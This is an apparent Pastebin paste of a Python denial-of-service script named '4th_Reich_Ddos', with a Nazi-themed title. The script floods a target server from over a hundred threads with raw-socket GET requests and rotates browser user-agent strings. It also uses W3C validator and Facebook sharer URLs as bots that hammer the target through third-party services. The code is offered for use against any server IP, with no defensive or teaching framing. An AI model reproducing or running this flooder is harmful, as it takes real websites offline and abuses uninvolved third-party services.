Advertisement
skip420

4th_Reich_Ddos

Jul 14th, 2020
336
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.90 KB | None | 0 0
  1. # python3 4th_Reich.py
  2. # 4th_Reich's Ddos_Scrypt
  3. # headers.txt
  4. ---------------------------------------------------------------------------------------------------------------------
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Language: en-us,en;q=0.5
  7. Accept-Encoding: gzip,deflate
  8. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  9. Keep-Alive: 115
  10. Connection: keep-alive
  11. ---------------------------------------------------------------------------------------------------------------------
  12.  
  13. from queue import Queue
  14. from optparse import OptionParser
  15. import time,sys,socket,threading,logging,urllib.request,random
  16.  
  17. def user_agent():
  18.     global uagent
  19.     uagent=[]
  20.     uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")
  21.     uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")
  22.     uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")
  23.     uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  24.     uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")
  25.     uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")
  26.     uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")
  27.     return(uagent)
  28.  
  29.  
  30. def my_bots():
  31.     global bots
  32.     bots=[]
  33.     bots.append("http://validator.w3.org/check?uri=")
  34.     bots.append("http://www.facebook.com/sharer/sharer.php?u=")
  35.     return(bots)
  36.  
  37.  
  38. def bot_hammering(url):
  39.     try:
  40.         while True:
  41.             req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-Agent': random.choice(uagent)}))
  42.             print("\033[94mbot is hammering...\033[0m")
  43.             time.sleep(.1)
  44.     except:
  45.         time.sleep(.1)
  46.  
  47.  
  48. def down_it(item):
  49.     try:
  50.         while True:
  51.             packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')
  52.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  53.             s.connect((host,int(port)))
  54.             if s.sendto( packet, (host, int(port)) ):
  55.                 s.shutdown(1)
  56.                 print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! BlitzKrieg--> \033[0m")
  57.             else:
  58.                 s.shutdown(1)
  59.                 print("\033[91mshut<->down\033[0m")
  60.             time.sleep(.1)
  61.     except socket.error as e:
  62.         print("\033[91mno connection! server maybe down\033[0m")
  63.         #print("\033[91m",e,"\033[0m")
  64.         time.sleep(.1)
  65.  
  66.  
  67. def dos():
  68.     while True:
  69.         item = q.get()
  70.         down_it(item)
  71.         q.task_done()
  72.  
  73.  
  74. def dos2():
  75.     while True:
  76.         item=w.get()
  77.         bot_hammering(random.choice(bots)+"http://"+host)
  78.         w.task_done()
  79.  
  80.  
  81. def usage():
  82.     print (''' \033[92m 4th_Reich_Dos Script  
  83.       \n
  84.     usage : python3 4th_Reich.py [-s] [-p] [-t]
  85.     -h : help
  86.     -s : server ip
  87.     -p : port default 80
  88.     -t : turbo default 135 \033[0m''')
  89.     sys.exit()
  90.  
  91.  
  92. def get_parameters():
  93.     global host
  94.     global port
  95.     global thr
  96.     global item
  97.     optp = OptionParser(add_help_option=False,epilog="Blitz")
  98.     optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)
  99.     optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")
  100.     optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")
  101.     optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")
  102.     optp.add_option("-h","--help",dest="help",action='store_true',help="help you")
  103.     opts, args = optp.parse_args()
  104.     logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')
  105.     if opts.help:
  106.         usage()
  107.     if opts.host is not None:
  108.         host = opts.host
  109.     else:
  110.         usage()
  111.     if opts.port is None:
  112.         port = 80
  113.     else:
  114.         port = opts.port
  115.     if opts.turbo is None:
  116.         thr = 135
  117.     else:
  118.         thr = opts.turbo
  119.  
  120.  
  121. # reading headers
  122. global data
  123. headers = open("headers.txt", "r")
  124. data = headers.read()
  125. headers.close()
  126. #task queue are q,w
  127. q = Queue()
  128. w = Queue()
  129.  
  130.  
  131. if __name__ == '__main__':
  132.     if len(sys.argv) < 2:
  133.         usage()
  134.     get_parameters()
  135.     print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")
  136.     print("\033[94mPlease wait...\033[0m")
  137.     user_agent()
  138.     my_bots()
  139.     time.sleep(5)
  140.     try:
  141.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  142.         s.connect((host,int(port)))
  143.         s.settimeout(1)
  144.     except socket.error as e:
  145.         print("\033[91mcheck server ip and port\033[0m")
  146.         usage()
  147.     while True:
  148.         for i in range(int(thr)):
  149.             t = threading.Thread(target=dos)
  150.             t.daemon = True  # if thread is exist, it dies
  151.             t.start()
  152.             t2 = threading.Thread(target=dos2)
  153.             t2.daemon = True  # if thread is exist, it dies
  154.             t2.start()
  155.         start = time.time()
  156.         #tasking
  157.         item = 0
  158.         while True:
  159.             if (item>1800): # for no memory crash
  160.                 item=0
  161.                 time.sleep(.1)
  162.             item = item + 1
  163.             q.put(item)
  164.             w.put(item)
  165.         q.join()
  166.         w.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement